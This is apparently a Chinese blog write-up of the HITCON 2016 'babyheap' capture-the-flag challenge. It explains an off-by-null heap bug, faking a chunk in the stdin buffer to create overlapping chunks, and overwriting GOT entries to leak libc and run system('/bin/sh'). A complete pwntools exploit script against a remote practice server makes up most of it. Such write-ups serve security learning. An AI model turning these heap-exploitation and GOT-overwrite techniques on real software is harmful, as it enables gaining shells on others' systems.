babyheap_hitcon_2016

161 篇文章 9 订阅
161 篇文章 9 订阅

babyheap_hitcon_2016

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,输入函数存在off by null漏洞

通过这个off by null,可以将content指针低1字节覆盖为0,也就是相当于content指向的地方在上方去了。

因此,我们只需要在上方的位置,伪造一个合适的chunk,然后free掉,这样,unsorted bin和fastbin就有重合了。

程序中,仅仅关闭了stdout的缓冲区,没有关闭stdin的缓冲液

因此,通过功能4,我们可以初始化stdin的缓冲区,我们可以首先就初始化它的缓冲区,然后在创建节点,这样content指针低1字节覆盖后,正好可以指向stdin缓冲区的内部,我们就可以利用scanf将伪造的chunk’数据输进去。

构造了overlap chunk以后,就可以通过伪造节点的content指针,达到任意地址读写,为了多次利用edit,利用第一次edit将exit的got表修改为其他函数,只要保证不崩溃,不退出即可。

然后就可以利同样的方法,泄露地址,写got表来getshell

#coding:utf8
from pwn import *

#context.log_level = 'debug'
#sh = process('./babyheap_hitcon_2016')
sh = remote('node3.buuoj.cn',26537)
elf = ELF('./babyheap_hitcon_2016')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
printf_plt = elf.plt['printf']
read_plt = elf.plt['read']
exit_got = elf.got['_exit']

def add(size,content,name):
   sh.sendlineafter('Your choice:','1')
   sh.sendlineafter('Size :',str(size))
   sh.sendafter('Content:',content)
   sh.sendafter('Name:',name)

def delete():
   sh.sendlineafter('Your choice:','2')

def edit(content):
   sh.sendlineafter('Your choice:','3')
   sh.sendafter('Content:',content)

def Exit(c):
   sh.sendlineafter('Your choice:','4')
   sh.sendafter('Really?',c)

Exit('n\n')

#null off by one
add(0x100,p64(0) + p64(0x101) + 'a'*0xF0,'b'*0x8)
#通过stdout的缓冲区,将伪造的chunk布置到上方
Exit('n '.ljust(0xFE0,'a') + p64(0) + p64(0x51) + '\n')
#形成overlap chunk
delete()
#控制节点结构体的数据
add(0x40,'a'*0x20 + p64(0x200) + 'b'*0x8 + p64(exit_got),'b'*0x7)

#修改exit的got表为任意不崩溃函数,atoi的got表修改为printf_plt
payload = p64(read_plt) #exit
payload += p64(0x400756) #read_chk
payload += p64(0x400766) #puts
payload += p64(0x400776) #_stack_chk_fail
payload += p64(0x400786) #printf
payload += p64(0x400796) #alarm
payload += p64(0x4007A6) #read
payload += p64(0x4007B6) #_libc_start_main
payload += p64(0x4007C6) #_signal
payload += p64(0x4007D6) #_malloc
payload += p64(0x4007E6) #_setvbuf
payload += p64(printf_plt) #_atoi
edit(payload)
sh.sendlineafter('Your choice:','%7$p')
sh.recvuntil('0x')
libc_base = int(sh.recvuntil('\n',drop = True),16) - 0x16A - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#控制rax为3,这样我们就可以进入选项3,继续编辑了
sh.sendlineafter('Your choice:','a'*0x2)

#修改atoi的got表为system_addr
payload = p64(read_plt) #exit
payload += p64(0x400756) #read_chk
payload += p64(0x400766) #puts
payload += p64(0x400776) #_stack_chk_fail
payload += p64(0x400786) #printf
payload += p64(0x400796) #alarm
payload += p64(0x4007A6) #read
payload += p64(0x4007B6) #_libc_start_main
payload += p64(0x4007C6) #_signal
payload += p64(0x4007D6) #_malloc
payload += p64(0x4007E6) #_setvbuf
payload += p64(system_addr) #_atoi
sh.sendlineafter('Content:',payload)
#getshell
sh.sendlineafter('Your choice:','/bin/sh')

sh.interactive()

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值